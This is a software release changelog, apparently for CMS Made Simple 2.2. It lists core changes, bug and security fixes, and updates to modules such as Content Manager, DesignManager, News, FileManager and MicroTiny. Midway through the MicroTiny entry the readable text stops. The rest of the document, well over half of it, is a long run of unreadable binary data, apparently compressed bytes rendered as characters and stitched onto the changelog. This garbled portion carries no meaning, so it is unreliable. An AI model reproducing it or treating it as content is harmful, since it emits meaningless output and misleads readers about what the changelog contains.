  - In OneEleven Now revert to small sidebar navigation (still floating) if screen is too narrow.
  - Removed notification settings from MyAccount and Global Settings.
  - Removed pseudocron granularity preferences.
  - cms_alert() and the new cms_confirm() JavaScript functions now return promises.
  - Revises much code to use cms_alert and cms_confirm() instead of the standard, but browser specific functions.
  - Fixes to the cache clearing methodology.
  - No longer check for duplicate content blocks in templates... NEEDS TESTING
  - New core events: ContentPreRender, LostPassword, LostPasswordReset, StylesheetPostRender.
  - Fix problem with the default parameter to the {content} tag.
  - Fix problem with the use_smartycache thing in system information.
  - Fix notice in useroperations.
  - Fixes problems where all files (including dot files) had to be writable before creating a module XML file.
  - Fixes minor notice in user operations.
  - Fixes for namespaced modules.
  - Fixes an issue in CmsLayoutTemplate when creating a template from a type.
  - Fixes an issue where a 404 handler error page would not be rendered correctly if for some reason the route did not specify a page id to load.
  - More fixes to cms_url class.
  - Numerous minor optimizations.
  - Add to content types the ability to set basic attributes for properties from within the page type definition.
  - Fixes problems with pagelink and link content types not being properly editable by additional editors.
  - Adds more type and content cleaning into the content types FillParams method(s).
  - Pass an explicit cacheid in to createtemplate in index.php.
  - Fix an error message in the autorefresh JavaScript class.
  - Fix problems that could result in uid=1 becoming inactive, and not a member of other groups when edited by another user.
  - Fix query problem in CmsLayoutStylesheetQuery with Mysql 5.7.
  - The {content} tag now supports passing data attributes to the generated textarea, for use by syntax highlighter and WYSIWYG modules. i.e: {content data-foo="bar"}.
  - Refactoring of the Admin login code to be cleaner, more efficient, more secure.
  - No longer allow any modules to auto-upgrade on frontend requests.
  - Fix problem with cms_filecache_driver::clear().
  - Introduces the new Hook mechanism to allow optimizing cms_stylesheet a bit further. All core SendEvent calls are now implemented as hooks.
  - changegroupperms can now localize permission names,  and add an info string for each permission. (the listpermissions hook).
  - Adds add_headtext(), get_headtext(),  add_footertext(), get_footertext() methods to the Admin theme class.
  - minor refactoring of admin/index.php, admin/header.php, admin/footer.php and admin/moduleinterface.php.
  - now use hooks so that loaded modules can now add text to the head area of any Admin page output.
  - Change the help for the basic attributes.
  - Adds new 'switch user' functionality for members of the Admin group.
  - Re-factor the content page selector ... now supports two modes (one for a simple list, and the previous dynamic one that is faster for large sites)
    the simple list mode is used for users with limited edit capabilities on pages.
  - Adds a new Smarty plugin {page_selector} to the Admin lib.
  - New arguments to the CreateHierarchyDropdown function (deprecated) and adjust documentation.
  - Content pages now have the ability to control whether or not the page wants any more children.
  - The TemplateType class now has a help callback to optionally allow retrieving help for templates of a particular type.
  - Permissions are now grouped logically by module/originator in ChangeGroupPermissions.
  - Now use HTTPS for the latest version check.
  - Adds the public_cache_url config entry,  and make sure that the css_url uses that by default.
  - Adds many core hooks.
  - Enhance the {page_image} plugin to optionally output a full HTML img tag if there is a value for the respective property.
  - Improve the {content_image} plugin to output nothing if there is no value for the property, and to output any non-internal arguments as attributes to the HTML img tag.
  - Upgrade to an un-modified version of smarty v3.1.31.
  - Move plugins directory to lib/plugins since we now have the assets/plugins directory for custom plugins.  Upgrading should preserve any custom plugins in the /plugins directory.
  - Add new plugins {thumbnail_url}, {file_url} and {cms_filepicker).
  - Add more intelligence to the tableoption handling for DataDictionary::CreateTableSQL.
  - Minor improvements to the asynchronous behaviour of the locking functionality.
  - #11295 - Cannot change the name of a UDT, always creates new UDT.
  - #11080 - Parameter $adding in GetContentBlockFieldInput always FALSE.
  - #11093 - Bad error message in jquery.cmsms_autorefresh.js.
  - #11133 - is_email() fails on domain check.
  - #11235 - munge_string_to_url leaves trailing dashes at the end of munged URL.
  - #11287 - Password reset form's password fields have different lengths.
  - Fix issue with module actions if 'content_en' block name was given on the default content block.
  - Better security when saving content pages.  Most primary fields are cast to their appropriate data type (int, bool, etc).  MenuText, and TitleAttribute can no longer contain html tags like <strong>foo</strong>.
  - Fixes issue with entities in redirecting links
  - The href/page argument to {cms_selflink} is now decoded before resolving to a page id.

Navigator v1.0.5
  - Minor optimizations.
  - Now use pageid in calculations of cacheid.
  - Now output template help to Navigator.

Installation Assistant v1.3
  - Only create dummy index.html files in subdirectories we created.
  - Clear cache after step 9.
  - Upgrade routine now asks for, and tests database credentials.
  - Upgrade routine now rewrites the config.php file (but keeps a backup).
  - Set a few more preferences to reasonable defaults on install. Specifically related to site cleanup and performance.
  - On installation, now insure that tmp/cache and tmp/templates_c directories are empty.
  - Now displays if files are going to be skipped.
  - Adds clear option for development purposes.
  - No longer ask to save database password.
  - On install now create the assets directory structure.
  - On upgrade (for 2.2) now create the assets directory structure and move tmp/configs, tmp/templates, module_custom, admin/custom, etc. within it.
  - When using the expanded installer allow changing the destination directory on step 1.
  - Check for existing files in the installation directory for new installations.
  - Added more notes to aide in diagnosing white screens
  - Modify package .zip files so that extracted files will usually have 644 permission (depends on the unzip routine used).

CmsJobManager
  - New core module to handle queued asynchronous tasks.

Content Manager
  - Minor tweak to bulk delete pages.
  - Minor fix to the active tab when changing a template or design.
  - Now listen to the 'default parent page' user preference.
  - Fix minor XSS problem in the Admin if some loser puts JavaScript into the title field or alias field or menu text field.
  - Now allow filtering pages by owner, editor, template, or design.  Only for Administrators with Modify any page, or Manage all content permissions.
  - Fix problems with auto-refresh being too fast for some operations.
  - Now auto scroll to the first matched page in a find.
  - Additional editors of a page cannot change the content type. Only owners, or users with the Manage all Content permissions.
  - Fix a problem with the call to GetTabElements.

DesignManager
  - Move the designs tab of the main interface into third position.
  - Implement sorting in edit design.
  - Remove option menus (for now) from templates, stylesheets, and designs tab.
  - Modify the template list functionality in edit-design to allow using keyboard control. Space or + to select an item on the left, and right arrow to move.
  - Modify the edit-design functionality to allow clicking on an attached template or stylesheet to edit it.
  - Generic templates now display a usage string.
  - When creating a new template, associate the new template with the default design.
  - Add reset buttons to the filter forms.
  - No longer check for default content block in a template.
  - Adds the ability to export a template to a file within the assets directory, and to import from the assets directory.
  - If a file exists in the assets/templates directory corresponding to a template name, do not allow in-browser editing.
  - Add bulk actions to allow importing and exporting multiple templates.
  - In the template list, if a file exists for a template... display it in the filename column.
  - Adds the ability to export a stylesheet to a file within the assets directory, and to import from the assets directory.
  - If a file exists in the assets/css directory corresponding to a stylesheet name, do not allow in-browser editing.
  - Add bulk actions to allow importing and exporting multiple stylesheets.
  - In the stylesheet list, if a file exists for a stylesheet display it in the filename column.

News v2.51
  - Minor fix to add category.
  - Removes GetNotificationOutput method.
  - Add a task that runs at least every 15 minutes to detect draft articles... create an alert for this.
  - Add an option to never create alerts about draft News articles.
  - Minor optimizations.
  - Adds postdate as parameters in events.
  - now output template help to Navigator.
  - Adds new 'linked file' type field that allows selecting a file using the filepicker.
  - Changes the default summary and detail templates to support the linked_file field type, and uses {thumbnail_url} and {file_url}.

FileManager v1.6.3
  - Move settings to it's own menu item under Site Admin.
  - Fix minor problem with moving a directory.
  - Minor fix to move file functionality.
  - Adds OnFileDeleted event.
  - Adds 'view raw file' icon in each viewable row.
  - Minor formatting changes in file list.
  - Now display clickable path entries for easier navigation.

Search
  - Convert to store all data using the InnoDB engine.
  - Use transactions for the addwords and deletewords stuff for performance.
  - Fix problem with query and record expiry.

AdminSearch v1.0.3
  - Fixes problem with use of 'Use Admin Search' permission.
  - Now searches for matching strings within templates and stylesheets that are stored as files.
  - Now listens to the HasSearchableContent metod when searching content pages.

ModuleManager
  - Now detect if module_custom directories exist and are populated and warn about this before upgrading a module.
  - Minor string changes.
  - Improvements to error handling in the new versions tab.
  - Write a confirmation form for uninstalling a module that displays the UninstallPreMessage or uses a default.
  - Now don't allow disabling / uninstalling myself.
  - Don't hide the upgrades tab when there are no upgrades, but show the number of upgrades in the tab title instead.
  - Now use HTTPS for requests to ModuleRepository.
  - Trigger a hook before exporting a module to XML.

MicroTiny v2.1
  - New version of the tinymce wysiwyg editor.
  - Adds a mailto plugin.
  - Now use the FilePicker module for a filepicker, required rewriting the cmsms_filepicker tinymce plugin.
  - Enable the title attribute on the image plugin.
  - Now uses PUBLIC_CACHE_LOCATION for cache files instead of hardcoding tmp/cache
     zd5zOplIiKvKr@UJ$LJ*?V,&dRTl @w/_}շ/娕׏?W~׿00oWyo_~0НR('9)s63Q＿Kٽ\w屈!>WW3t7vM}?jz]vcs)vNnUER]Ӷ)Lb[J:Yi׎|'h,.}H)*&=kC}#?yS>5T7xY?RrusYQ]MS*CJQJ7<	[a͛z,pӶGtr^~n?b}S1=&mѽ2L.Ø<A/~;4[hRõnCRuo!YqfzQLH*TS0Oc	Jp2t݌C&bYbb-KJFbKyt
|rе`mx&;x[Jo~Jf՛us͉ҾtLҚIXI62*z)mt)ѴBoܬr5G/5ԵUNgh]r1QPNa;Բz+ۻ:SF9h&:/Pv'G$Ǫ%{TVXC@ D
F)Vn;cM)%TlJï(1f7EFfzmUmc@gB+)Zu\Z:hjv֌b'3WRH*!k_6e^	rڦ$4"` +bsPy{p9x3DWf[-l\ͥi~{7_XEƨ-p&`?2i,c%s@]JGKp暗}ry` ';FKXfb(#wSe^י7}$48jLjǑXj!\ź*770'#[/mNX{SzenfS=& a 2{-Hs۩H;tCk0@\E~A݂idH5L	=Յ\(r#:%9(2GvºΕ*<8lݾ/o>nb6nf}!݂Q80݌ #"T_,?|]E7ho	I~rja~@h Tb|+r{kZ`&s{3ud[%P=gca"؟=b\ybf
?,JC6hS+1	ER.~?sAfz/X%D~uW^Wkwgs_@?۹%0:Ƒ!ekuq34>]98`]7лm%%|Ix#0/HlDb+	^ID0\/exͧ/`c;#ؤn'6|DFดU-pMh;6SY@V+90 `35ZƘK)TjW)vH/~ra01ZuЭ\3kՍs9@֌姲,uՠY\k TDsu$\{@+Qa#?{ɧ>{=ƠZR,ګ|+u`W`]*<@0MDx"sQ
ZR{foxʑ['Y FqApIr>.Ip^K=<|ڭ)xE]D#;APpgH3Pu.(f3H
F 7[ A_^/.bn[_}ᇋm=~nϴ܋0$/L6EY8cyà2Sasl#Iosˣ-P>jӤ	oYߝo[{M
r- fo7m?Ui_&9XOG<d2sS+"
7ܠKBӈNӈM #U٢
]rpZwpqMül6 1B(ST[wֹZ곍v6@g0<T0gruk媼,\	">E 21lYv{\{%HUD!nc
"b)bQXN+:~wb4yrGk6-}3*_!2@݂G1ԩ]iQzi%{Y8xsz0O1|b]ⱢВvTBOB2$-I ri#?ܬzR*BZv5@{v FˢkƸr``YākϢd+ƪ$aуn4zi2G
}UХh
$[q8-JIZ
uLN\6R~
dFn7rׂ:c 2jЁFi-}{.n/eQn[7q? pt#2XJL|a Ia51a	}+.|pӳ0Q<@Icm@FwOFxٸv)O%0cM(I8waFԐXq$upԷ=fPZ3MIFUx dQL ;ҏ͇[Ja8{K\?^
ux&ե$׿DE>mO`TvَsCW;3{n/W(m~ǥ'ZjC?c^MK})mٿ6m.}/-*sl7-GR*էjc#8}|_n[ïHt$@J`2"<ovM]K !Nl7	)TsQ>HTYKi欛y$J͇e*1*G(MExZ{e?,T$V."^cD6هR簊#YD1(QH[TT}/t]\c// wC\S%"+ApfI?x"~ӉƠ^tڱʛǃ42UWX=8+8&}m3>_\>+nXh 3$S{eL:=&20w˦XȫӊZx}0Ljug_fW;
H}?4#ͦ@6߯p぀֭njAt~|:>64b$FsI	68Ef$ <./wV9X=\:v_tƆ@s<oD-M%L^iSPƢKmۻ]#249`}q=Kfj´P[:$fp`7R?ckU7ؽk;1(S%Qt*kxa2Ι9W7e}0l^sy+goJzΒsvS- <ԗ`\oHmkp=δѰMD7ؠb9UA9Թ)>۫r>OP%fቓTWk{17wߞv-jc5^

t֗a*SZ/@qQVkk<ӿ͸F^Lh$Fl.ݏ=7<RC*eޝ)\$[sBxU𪪼m@F҈9"hDTb5X{f^u2Ҹkg!&9lu
n/]M*0_x&BxGdڞu18x6'°d`m=K1+ (sY2FKQF&2P!nv N0@@S
h?n~<[E[ 6m)Y>F-j2dRR3"#̵Dnld,IOV19boujPFXҀ-=b̉a|s3|ti@"xc@KЁyȀn'Sj	=G8[(6ǁTyeI[B{``ț5zxwȼH=6ݏai9 jste< +<*5#v*<z-x#ֻԺ=KOq |}Iy2  n^+rFmX}UT_\:Kg.ә{ɦkc=*TnnCuG.{ApTGi0QRH&Åa1G_)CbK +``2BƚٳRSob 6T9GS؂Ղew&3s2φcS>9L3|#X2r-Ak)|;K#*V+sFjpc7L7Ubt!BxCD0m_ȇ,2dcn>:u)%s"?j:}9hWA95Ms,iӕO-2j}p5g<Y?M-AAzΛhӀZFgUsM6}:y р>](DR3݊=@m$L/yo^؀58+(&g̬7UETsxDEwstqO\'=GD[6OGWoRڴ*nx YǋNmS;XZ#4Y}TLH]A\!4Svӳ=u~>)+)ic 5:VMhgiO'`yT]-|x
ȯ.TCԦz1UD(ڜJ>n `R*
G㢋	ڳ⿦5k{fVQZCpg+_SgWB("g0D!32*wS𸪥MW]+X5q] T'W[z ( T|=/NCI%k	Q0Y׀>Oo );0=`
JvbHop	]glY5"pى!&V l 2`xxZ$%8NpUV3Ѱ>N%B}W=sq	X s἗!ϐs,1zk*^\F2,t/IF >Au@Cp5ա+$BuR@.a<>N~\u=5dÙాlRK'ϫixuja^=_
3]mKט?{@}Vޓ]ȝh<V>TcZ\y>H|%AE#{IB|GYGXbwY~a:N;2?H	ybSc}~8u-ql`q~P=$l=3;C0⤹t'MZ|TT:wvoHVC:NkXx鸾S=.m1zQ+^e}ʳԶŜֆVCUٔ!.ڄj |wXcC>#DZl I\$۫˾[HKnzL|r:,y+L),*v5re3jd$tOf:ZM'<*%jhhA>b+aP߬	>8^	[ߴg0p rOI`$uW2V[j:6i5F&mZ᱔Md	2_Fdۄ>淗ۇqA3Hy^M7,$Uό+XibgUjV{*̵bb|cߥWVApM4'X9z L`i1~B/e/k3 AIAJa֚fN.(ӓ//=s'J; ˒7.LBR|vԆEsH jr!f8(0.b,U/
Bu-xXNwfu@zsG"f
T},]dcɡ\2aMt~5"
42+:ɲHcfّV2mMA,lAHŮu>_Gd5_tXeAJ~I-T,CX8NIXCXXca|51G'}_|꼓
T63'o\g7]Aȃ5*]jr\
]fD1gY%;9^OI}L( LZ<<8 S5%Qk
I.IDOhZ?zXs
6X"o;\ ?ģ%WÈj9	8T}[LpYLTxÎOᓕTᕽhm< (Tj1r-w5x~jFeDyʡtVH'Xid5Qۨm@lUe<@PC4t.zW4((Y/fN2Vly`lӭ1AT¿(zAYy9O狰YB:&U ЪM1?6'%8[蜕4Z@S(sZn+Fx8:*hqX0_~}IzbCVvF$:`F ]D1j7MXnqPXE
uܬLK	˫7|{iC9\HEQ@09Mjy$@[R04{q/>ּ̉Ev }#ScB{ !F v8`BCEb- _WkqI_]Ez!zf/ޛt?K6;`9^Q#jIuPDqb'կ`CVU8?˭ޒ!D~9<[=V-&.iZYAfՐX^5vL%GbٝV6x& ZV<I7X&g<ک3ȋ=b=˅FR>IK	0Eñ@]	5U]~$gQEɈ+5$U7ǆ[GIr4)_|U=J,-<IfV>*QO}2^m
Ŧ1@.iZEwxapE;
*
߁uE?Pf|Wۈ&e<x׍8SհdB/3|TRS"޷5~f!B98bDnE)}D5|t69C>)6 Ҝsp?ƁPaCIWz(Kf? 5^'WUNx@D)t߀-9GȲiۉ`.:%ݝӀ5wo[Up'ns5_"4Ec]];bT*|G,-V顊I;IؓvVa@<&5Qdĸh|EBrDM-)b8SB$F ND5xo_+\Wv U 0:?|k	ZXllYaJuZ!JRil)Vvf0Xy,,eN6K{2qQd,Ē˶bu+~'#鮪܀سrp-0u,ʵP[}`ZuVk'Fx bb\`z䁣aNIIî<E<vyS{VcBq̈JdVycapXCE0+ :~_@|Sb})&~e}M#b*2%%eZ;^ Ђd"^^؆Ĳ 3'^ EļJEXؐVCLKxFcqǜVlJY8*Kn@[VX@ٻMi췯9-n7u=QB0e4tkSR$I{tTX*r)'ůI^A%ƴyqmEh1={]!@Tĭ5A /Ä!ɞ\xzVNW{w%?@-3(Y kOZ<x'{)4fpjJa,GV͹MJ^l8GͲ 7LkLu4vQ7D=&
*,ܝRk|0{eERv&{;@9s߬}3LSEҋ3!m_7)fb-*T@-od-U-)YvOJƱa%]b-1Շ%NzrC_\?|Հkyq %kBoϬA7?t^re0jPKC{cA
(FнG&]^؛Cвld2`1id5p00Ys xpI Fh7 Nڸ5ruvm Ue*KX:y\Nwߙ	f) 3GBVwɾ-{jC:i5=vgEsxLtz+I@QR#iA)wPPbfg·1gӡpJi)Fa:Y#؝@2}r*wMnoitr]B%3/āxKrά6<K-VnuD^Iձed5:U 
RRn<S8}:c X|
<<CR±dK0T  Td^W,LO;1> TXj잉/ũu։VAC[J00d_m	1#]ɪ%<iVS|U)"˫{Z0;13mDJ}ﴋ]f7=E-HO8!n =YB
PjuH&,u0VN!Cʍ!7 )hok'WN=fEBHMWOq?y	f)U֩$2P]u(m]+bQOz&ԡ<u
G1:ja NCrpdie=1" 9b&p#3:G
џc42=h@߬+X\ hH}We<Hy4]ÕQ|Tcm}ס["GFt#bV/>!ͥ1,)	`eB}pgXIEHY*8@%{ո.3ClRP]W&Hʠ%ڲdߡyO>aOro߿yekh)Lf΢f}~j?SqM5JSƁ6ːuzHJf0J5E<W}.]oo22d2,7覵32/IpR}%}/E;g{#^0[f>i 2[ք50\1ixzG)Jip;Z΀xQg[u,S[e_)|3}omC*wxF`E]93 *ke36w?֥!=mN!|~fX/Z5Û"0Ks<Rlɽj@S3}hU #`Հv
A[NhZ9&ZxW4X=FxƷ!A1u/,}"f5?v5ycWnK8+(y?GWmln-5XݏkMv^yP4 \(Sgٕs\t`H K4г"*0s0ɽf
{D\qsHs;cyKqkguc|ll!%Vʎ91_3II]Z
h;0M)h17U˼uXfsH<̔*NjV=yx_J]Al=ǽԹ{a#q#`! *4VO,m0*/QR@o^99FT8b.1A-tl 03"|dLqkh=Gݰ>B=EIql,Xv[prccW/]aMk44se?SC4T[-,m0 Judg:_sgygi׭l(@9ki|!~x`;*
]bUddE@+<2bwK,[F%8+X0s|`%Xϫ(;vo9F4b΢^v$Y`.,f~cP<
h`,C.lE@q~pG\h+u ,M9DƇаM؂ȕ:r V[\Ӝ-l^2l%1`Cpl@41Xi)fv~
[ri|`F3,S^G-M/Y{w=?Iޛ?T-U7^gp<r(Ǽ ǺI)Ĭ2f=<6GHRz򿖤eXپ؄CBLy:?$,%ŽIWXJ }Eח,KoIwуRY7XP6}v\dww7T;33Cu|oIt,R#hתB
Ê3GrW;%Y=w&r %- "xRah@|[( ̟NjQ# QAL&4݇D0] m![,EC#J^K
.꡷	~M?:lEE̚`{yPtc'-}	H@a&?A݇ٽAXe򛤎U3Z;v>
c2mzwݠ9 Sfz(_mflpuspx+YpP1SВLG+ߵrٗͿvt('UF^G&}Yu@l϶ ;GkxelT^n2k)|ʅ}I@Y<o+;,\nma9414\	,f;Mlt%*?~sŚ'W7	yhjcߋ>Z)N	_[ \<T9K[`EFݰ>ɝ;azH[("\|MiT̓
 *^1o^1*WGs d$J`~$4{"7{F{R"9QԚx`~΅0Ӫ"~Vp+RK@*cpِסϷfN\XUV`e	ﰦND\:"(HQQ rW@s}!Sy"rmpKȬKtyH.{4>jlXW5"ՋjNlQ]4y/>-hd!$*yQ4~;Ķ
,ϳ>(]<xi=,vUYL5"95;|B8C?^臾x3FZEd཰EWnsXpIn~,if>`g| 03t߀y	F!dup@1.y17\ikXHD_=@u#̻D7"5 3ǹFaYHtQYR`Av͗ܒCvޢkI
ϓk7^||q&?oxSVڍZF^77j[/Xm;Xc\l.ZRzޖWmYghkL)Y+|_vXueKٓ\l-{h) Zs/-586 eaCά	4ĿZUnn88"@w_j|֤C!6Ek 1@bUტM])Q;_8vnS/`Drlt2 !A5-WD[ugh/460:$xyrR@)8{6g* b89#h/_`):kSJ
e4xx%gU۪*d%!/UM,K0_`zCxq fc^6)>!	PZz@	u3oX9&uKa[fWLAwmzPHm
/<Y!0p;X_>"V%
 +钡s\P;yd>>/w.YO\zf⢃n1NΞ*΋:FB$|ßIɥ{h (rA:ot?hsٰ*F<W qú3{̪}ykidNuɦj`e~+d| MY$wD_\Cby=,, @w)1ѾAK2
1_nCa! z0zǄXBWW͂-bme_1nex%P g:5UtLj
E{P~fM =(+Ch[=^pLY `NaRilɨ7s{7 n\nLlgAy`g377myO>WW=^1ҹ*,uã;=ǐ7|]u` Yr8c:4oMrFtM0lM/׬SX7Yi]iN5@C}M+`,P1kx&})w.)R"߭Y,9D`Ѳhiun4$HM!1@FBS26Fp FTTi&WpFG>uR=XS]g:1BGLaӖ	&
0`DW_7YPP_?>xHˉ[JHݲgtż%].:~CG:E/|AeY@w%FZ`o 3<nGZ8<vx٦ibzQ/:Q3dPArƷՠn;Չ9 $z^˛lQ;O_T8<b$cjW^1ԪT7^Z =-lG8.VkQ+\XExμPMĩR
0YPqGfoY(jV*4_HҏҪ?ZU',Lm03@#/ߚ٠H0g(޲xz^vϏxt lc,
ͯX\	_.chaͥ`I#nm!svʱrd깿sВ#õ# x;:rch栌AX[Nxކz,|6qRJC Æj63Oi3` bcgVrVf
{!#ҶTKL dksa~bjdO^y҇cS^)`9=&Ԣm:[.^V:_n0晒d5rQofN[Ȃu)6 o58IdAW|c*8YivT;S,֑`Ln)v>T[Yb8D%u9Xe?>c0AN?G~;ѩ2/ǚʥ,l_*߀pOC@|#JT:]1~A4;q-Pq"~TaQor&5XW5~p:g==ڞE,56.aKĘ#L:WO8nl nߐĄR%-Ͻav2ddca5CL
*/Mc-bLKLg
`f7~HsIa)shZ:~_VX[=+8e- <y RZnPGYW^&Ep.|FѮG>U7z?z$hwSd,끫ͮjS^K@8u?51Xkjk!2GՍ5:xIy̅ݗ+c7m|i#G'R|v~܊7T``O/iX(3xQC%Anh,¶g9?>-][)ɳF R7ooudwE;%VSA%	iUcE}1ܖ{]4t[#7v˽Z5jw/>xO42"Ņ\&DC.lGhpepYZuVjᮽ1)
t@ƅ$VSB1٪M{pȅN^pf'%t*n Y&߯keYlSв})-	4L$4>;wmO
>5HhI&(xY6Cf1Y|Qdij-,-¥iS?ܻܞ6`Ė!݂O'yV,.J7mcPecVm
,! W!ƦHx0`+05A\#8Mkc W?AOEgʡБe*@Įˇk
ł
CSrPʛU1>E0]N`(UH7b2`M
SOԌC;x8x7ahsXz:4693i];n`MH ؓ{YxR렲R6V0˘9R]˫Vw_3|ƞZ`	q#UB*|w#7 'v.TLKlTc0`1<?]EXbfQEI/V;;5ފ6-eSCL{^iG[m}G6\M!T͇+xSpR+tsly;rX~iro
krbzL8Ҧ%2}bd]c"Θr)>R2]Gz_Y
,uv`cA·+Ob^DBgǦ	~[]+X?){/y2C3^w{l/7m̃U5 TR*<XҰ<|qx /j,dlIQEۚ+Fߍ/KC(+&WSC=F/],xOa^f|hL9"j(|ڤZAAt Mn)n#]<T|ЬLX^z>^V͖&dxA:t~kA.tϓd)H nǧb+/!j" ~42\R$̿ #hQvu_FUXf
jEa#ԭ̷!PkN?]z]keCv؉,vP/A6L3X Z~Uu838Z6f'-S>8[X1ZX'Urj&Kbq``$!۲k<{8yQA&X0Tm1(@.zƂzٿȌeަ*z`kֲ7Pn\lW!* ʒc=P '!WS@Zי)Ѳ`81[5nEaV!Ə@}χS8!wb@A !OR0 LibhE톱ιrP;SLLC׮CC7#f]pJtÃ4e[eI٧=V/\j3Q-)ç^+YWx~wT[tLdx.lGX?5c~aGPM5%ovpiأS]j3@9']b?>=c/ ~=SH bFՊKrb"iDYzB-CiLh9"5}`;pxCbAxz$+#h/.Ǎ޿ND-*X̜2D߻2C͑fƂw!auɣZ[VQ0d.mɢOp";Eg=q*^-8bX1XI:)<U|ێܗd7@OlVpI'{,#_?])4xpYz2+eU@yv3 Iy<8?M~0Aף\Q:޳
Uf'U +k`JG[Rb;{]V>͒O间gb!ON +#	}m8Pf/ 9 ]KI[#D0FX9݅"Rm;]kƁ<²R7"G#a*<~GfN	@QR[7ɇp	yMؤnL$ ]|Xc5,U-b%F	or˙*iΚb)
O#e?tmKj0^izPϊ`~3j$+&nȷ:߯KnCє%a!FX;ó:TĎm-JeW%@he[0{6nTBlut+aݒetd	0b-k}b])3%vw{h|Ĵ0ŢƂ7*U{Lfێb=U @UU2F]oS}t瓷LQ1Gz~'m2ۤY[_:fl6ʒ#x/p?#Ŝ,4kz<`b7Mm?z*n!ߕtu#7+-5-!R9ޔU$Lw>hŰ# j&FMuvw
W> !Ւu*zT>E4e<$2WFzG E43Yڸ&uW@67f0ndk)<@JL}T$KEc$g>P#B!4`?O R3*(Rw2ߩ	xJ'P6W7l>8֍ҐKu$'妺i<:ey;@UUFvOʆS#bNGqEt X=wH@mقbvΜGfpɆ8κ`8naRG`P0 b"X>na$^bm;3_=Ti^l@:pWM7="Fk`R|IƤH@kz0S*1uY)<`BDd/?A/YQv0;EWx*0ڞ=e+j751@U.zj:yacH^#j/FpLj%lP*Y'aS* P1ޔcu[oi@<7Ƒ  F̈́z2H۫y4؀/D'kmWS15[xe^yDAww~|Gosn6u!X<=[ݥ[ぢ98b:VCN?PEөP+Xbn%|e(eeo؇-vq>䬂龈9eO6w͗3;[n8|mUCRbj ݻ(TG\
Kn6_X/
|
i4ʪCT؋*8^/J|1YllIBTL(cy:VZfoLMqa+>GiPh;+P<X*[{;mY
 %Ҏ
S05&
qf4#]z2\"<m!U0Kt mWo}<xb{}q' ]㋐ӗ_>
sfvxuC*M&_:ilK\(X2tOHRvK:kY*TnUVc\&A]'d/ >㟏~#~:}hx_fYu@:ݝٯ? 4{/{ `M :չzeNc <k	اNs3'5u4{b;TЪ^%wr7Y]j\Ћgv* J19z**OyfO6C1OyY 0'96iOraē0+k,K	jE[Oy'PX9޺(<3ۆ5)ߏۋXwz&.j|8kwAo&ctN{c,"FXOQSЛɧ};CkOd4V܋b&\Z1Wd͂Ņ׹p38"(FbQp=nO=}~,v=t"l`
_u>V?]r$Ǒ"i>i֤VFryAb#~W0MTU}ǯKqR:{{gb&.,# Sh_?}9=?y>koݑ5pp,77qd]g>OO/Iμ[G$lT=Yzd51C.hϜ6t&9Ǧy[tw` ت[9V@.;D&=ᴉgEL(e̽`"/ŴF"r\W6z?0z;M[S" '${8[vRxg2JR-Կo᛽{IX;=G?b($)|4gIefhAJsi^Tnsy۞!XJBGɔsIl9\˧p)Ddڴ0$HY۳F| |QvP}ux6^9!ma+%-Ms6;ebGגZ1py۰~ŝ3dF.&-&L\/Md^"$@6ryaS!f>\t@-ťE8g`x~Br?l=汱37D#Uuܚܽp<O<%`{s 2dulY2)o6M*^Nؓ4]o~.?$ MYgMc~!W2a_n}āq9)WG63 0?=OU>L1o179vf\p|d fT-RX%W=Kݪu:M
Fd*\16&yeY<Iϱ5vhīBV38cTT¨أ^/3&H%<r	്DSs[x֐@3R!Q&lN$8vU-R|i7ئk	oɾYpe0R
dgF1_`|KV?w=|a)u}MV	I_k`n'n	*|BFf}	5,kCkf?.~܃~/˳m
NJs?%-(5BA:斉%ˇf]%5肐kkl77'ʵ	
®eG~ɿ{~:\<^&p6V	[0aԄb.׍oHo`:ǄJc
(.=dl_vf;_1s{dfrsF5jռXR+24@I2	0rQT)YaYu@J3TBfHeVgNS+-Zk	2??g*{S֑3)`Tlty]jE)SD0AUZ[?a4rD;4	\ٓ4SFK%ud
FB,TYu#&F;}>
SٟA.:"+Uʋ)!B$sVgG&7yՃmmtvMZϭhU۞;eNVaXKCWѼ_Umd-_80}һb5Dllx#).le@\q#[@snĴE,:$Z2&@N*cGl1mq-$y$k3	>J)6ˊx){x|gv܅7љ6T^ch=]ͧ\z_73KZ4E=aY;]e/}Wb{a,5}`cv5#}xg÷ZG4>nv]麘y8h]Q)  ðϿ-AE =,R%d_^2O_Cl(,oPM.C:qhOj fe< wY]WJ-"7n1-Em20eG}T.1_ózFUw0/w
hpGS\cZ7ؗf@SF3cPS SxFY~d	G6rVĂo=YyL~WUۂ!׎*b[fǎHEّ(K{u.@Z=xmllwҮ-Kt 42;))[[δR<[O5UW=,'թ|UEm$ѮY
$XLsXt\$I*.e;T{>-Fh`fdۄ5Ks{%JtZ#nFT͘N;/'͘3w(X윳# ʤ::{cGs|CEMf~Ϩkћh'[o&SU~^9n{q	]3NJG޾<^Iؕbcj%T6_~vyD|8=TTwzk? \p;RY~
  ?,#7s!: ܽkYDF`(13yxN>ώJ	nCXD:jttH]k- % ⊍9SJ(jg{C܁Bg,HP¢= kFU.wW<K%qn&3ۘ F<9R>)2a5Wsjt9@EƧŃh\` 9RPLB5tNW_hQ0yb_0{V1:򘏆I1|#Nbq}n=O"?Zi敒k<Ӷ]8ф|bwybאU	a
_}HnJwgZG;bP3Hu'm'_>VERJxӎ᩵\^^N$(+!j^7u<?"#gZY3fDԔR$z|TRN_ȷc;/'nkK
R`xj0ӧ*SÕv1@Q9݁	8Lo9Eńj{6`!+5d}tvF]E*!+é\x&EG$<g\DuzJ\d0{/w
xvS)zaGIl6'XȈu)%/4Sَ'V]aLxks%'Vt" 㚗 vީf3Jm&3aqk}e~Ϗ0B6`k04gIbi4	ω~lгT-ЗrLvDUKr	|)]	XKWR0%$C\RQg甩[ǥ\I$RCr$}p`pW ]&X^QHe$;Ig'`4踀"	s{, /uj̙heB0$W"H#S2<:9NrXLN07ٺW (g]Y7ZOAmڄ?v[e3wW[ sԤnGܽ>GrKBC5ZFfm5gܵΤ2/g \ݯˆ1WGxLvl :M&Yã<u3QZM鍹O]vy^{-$ !#E+X5_ 23y$pޕxVή{W\ovFdRzHSr3Q"I6z* RXG}_ ;zAZʚ&GOC
Xd'	\5+GooNbu §$xv F6+;jowLوmJxM2v#JxP6()$ vr+3	SRP_3pt\&xaٞ
FQWD{	OLm(,En!|}\8G1
